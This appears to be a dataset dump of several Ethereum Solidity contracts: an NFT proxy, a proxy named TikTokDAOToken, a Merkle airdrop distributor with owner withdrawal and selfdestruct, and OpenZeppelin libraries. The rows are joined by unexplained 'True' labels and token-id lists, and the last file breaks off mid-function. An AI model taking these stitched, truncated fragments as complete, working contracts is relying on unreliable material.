// /(////(///////(//(//(//(///((///(/(/(((/(//(/(///(////(&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%//(////////(///////////////(////////////(/////////// //
// ///////(////(/((((/(/((/////(/////////((///((//(/((//(/((/(&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&(/(///((/(/(/((((/(///(/(//////(/////(//(////////(///(// //
// /(//(/////(//(/(//////(///(//(/////////((///(/////////(//(//(((#%&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&%((//(((////((///////(//(///(((/(/(////(/(///(/(((////////(// //
// (//(/(((((/(/((/(/((((/(((((/((/(/((((/(/(/((////(//(///((((/(/(/(/(//((#&&&&&&&&&&&&&&&&&&&#(//////////(///////(////////(/(////((//((//(/((///(/(/(////((((//// //
// /////(///(/(//(((///(/(((//(((//(//(/((///(/((((///((((/(////(///((//(/(//(////(///((//((((/(((///((((((/((/((///(//////(///(//((///((/////(//(((/(////(///(//// //
// ////(////////(////((//(/((//(//////////////////////(///(/(//((//(((//(/(///////(///(//((/(/((///(//((///((((((///(((/(//(////(/(/(/(/(/(((((/((/(////(/////(//// //
// //
// //
// //
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
contract GOL is ERC721Creator {
constructor() ERC721Creator("Golamis by RWR2", "GOL") {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC721Creator is Proxy {
constructor(string memory name, string memory symbol) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;
Address.functionDelegateCall(
0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,
abi.encodeWithSignature("initialize(string,string)", name, symbol)
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internal call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
} | True | [
101,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
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8490,
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5024,
3012,
1034,
1014,
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1022,
1012,
1014,
1025,
1013,
1013,
1013,
1030,
2516,
1024,
2175,
10278,
2483,
2011,
1054,
13088,
2475,
1013,
1013,
1013,
1030,
3166,
1024,
19726,
1012,
1060,
2100,
2480,
12324,
1000,
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1013,
9413,
2278,
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16748,
8844,
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|
// SPDX-License-Identifier: MIT
//
//
// .___________. __ __ ___ .___________. ______ __ ___ _______ ___ ______
// | || | | |/ / | | / __ \ | |/ / | \ / \ / __ \
// `---| |----`| | | ' / `---| |----`| | | | | ' / | .--. | / ^ \ | | | |
// | | | | | < | | | | | | | < | | | | / /_\ \ | | | |
// | | | | | . \ | | | `--' | | . \ | '--' | / _____ \ | `--' |
// |__| |__| |__|\__\ |__| \______/ |__|\__\ |_______/ /__/ \__\ \______/
//
//
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract TikTokDAOToken {
bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
constructor(bytes memory _a, bytes memory _data) payable {
assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
(address addr) = abi.decode(_a, (address));
StorageSlot.getAddressSlot(KEY).value = addr;
if (_data.length > 0) {
Address.functionDelegateCall(addr, _data);
}
}
function _beforeFallback() internal virtual {}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _g(address to) internal virtual {
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _fallback() internal virtual {
_beforeFallback();
_g(StorageSlot.getAddressSlot(KEY).value);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | True | [
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// SPDX-License-Identifier: UNLICENSED
pragma solidity =0.6.11;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./interfaces/IMerkleDistributor.sol";
contract MerkleDistributor is IMerkleDistributor, Ownable {
uint256 private constant TIMELOCK_DURATION = 30 days;
uint256 public timelock;
uint256 public creationTime;
modifier notLocked() {
require(timelock <= block.timestamp, "Function is timelocked");
_;
}
address public immutable override token;
bytes32 public immutable override merkleRoot;
// This is a packed array of booleans.
mapping(uint256 => uint256) private claimedBitMap;
constructor(address token_, bytes32 merkleRoot_) public {
token = token_;
merkleRoot = merkleRoot_;
creationTime = block.timestamp;
timelock = creationTime + TIMELOCK_DURATION;
}
function isClaimed(uint256 index) public view override returns (bool) {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
uint256 claimedWord = claimedBitMap[claimedWordIndex];
uint256 mask = (1 << claimedBitIndex);
return claimedWord & mask == mask;
}
function _setClaimed(uint256 index) private {
uint256 claimedWordIndex = index / 256;
uint256 claimedBitIndex = index % 256;
claimedBitMap[claimedWordIndex] = claimedBitMap[claimedWordIndex] | (1 << claimedBitIndex);
}
function claim(
uint256 index,
address account,
uint256 amount,
bytes32[] calldata merkleProof
) external override {
require(!isClaimed(index), "MerkleDistributor: Drop already claimed.");
require(account == msg.sender, "MerkleDistributor: sender is not claimant.");
// Verify the merkle proof.
bytes32 node = keccak256(abi.encodePacked(index, account, amount));
require(MerkleProof.verify(merkleProof, merkleRoot, node), "MerkleDistributor: Invalid proof.");
// Mark it claimed and send the token.
_setClaimed(index);
require(IERC20(token).transfer(account, amount), "MerkleDistributor: Transfer failed.");
emit Claimed(index, account, amount);
}
function remainingClaimTime() public view returns (uint256) {
return timelock >= block.timestamp ? timelock - block.timestamp : 0;
}
function timelockDuration() public view returns (uint256) {
return timelock;
}
function rescueTokens(address tokenAddress) public onlyOwner {
require(tokenAddress != token, "No cheating");
uint256 balance = IERC20(tokenAddress).balanceOf(address(this));
require(IERC20(tokenAddress).transfer(msg.sender, balance), "MerkleDistributor: Transfer failed.");
}
function transferRemainingToOwner() public onlyOwner notLocked {
uint256 balance = IERC20(token).balanceOf(address(this));
require(IERC20(token).transfer(msg.sender, balance), "MerkleDistributor: Transfer failed.");
selfdestruct(msg.sender);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev These functions deal with verification of Merkle trees (hash trees),
*/
library MerkleProof {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(bytes32[] memory proof, bytes32 root, bytes32 leaf) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../GSN/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.5.0;
// Allows anyone to claim a token if they exist in a merkle root.
interface IMerkleDistributor {
// Returns the address of the token distributed by this contract.
function token() external view returns (address);
// Returns the merkle root of the merkle tree containing account balances available to claim.
function merkleRoot() external view returns (bytes32);
// Returns true if the index has been marked claimed.
function isClaimed(uint256 index) external view returns (bool);
// Claim the given amount of the token to the given address. Reverts if the inputs are invalid.
function claim(uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external;
// This event is triggered whenever a call to #claim succeeds.
event Claimed(uint256 index, address account, uint256 amount);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
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|
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
